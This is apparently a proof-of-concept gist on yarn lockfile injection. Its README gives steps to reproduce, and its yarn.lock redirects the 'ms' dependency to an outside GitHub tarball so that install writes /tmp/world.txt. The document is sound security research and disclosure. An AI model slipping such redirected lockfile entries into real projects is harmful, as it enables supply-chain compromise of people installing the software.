lockfile-lint concerns with yarn.lock

README.md

How to reproduce

1. Use only the package.json manifest
2. Run yarn install
3. Check /tmp/world.txt (should be empty)
4. Update the yarn.lock file with the one provided in this gist
5. Run yarn install (or yarn install --frozen-lockfile which is also susceptible to this attack vector)
6. Confirm /tmp/world.txt is now created on the filesystem

References

1. https://snyk.io/blog/why-npm-lockfiles-can-be-a-security-blindspot-for-injecting-malicious-modules/
2. https://github.com/lirantal/lockfile-lint

package.json

{
  "name": "lla",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "dependencies": {
    "debug": "^4.1.1",
  }
}

yarn.lock

# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
# yarn lockfile v1


debug@^4.1.1:
  version "4.1.1"
  resolved "https://registry.yarnpkg.com/debug/-/debug-4.1.1.tgz#3b72260255109c6b589cee050f1d516139664791"
  integrity sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==
  dependencies:
    ms "^2.1.1"

ms@^2.1.1:
  version "2.1.1"
  resolved "https://github.com/lirantal/ms/tarball/master"
  integrity sha512-DlpjtaUS9RFy3q9oagI6RWUkIIk8UOJ+ZwxqlZ+y3sKvk3n93nD9gL/Nw06xI5i8YTqT9Q5znTs6HzVZO9BjDQ==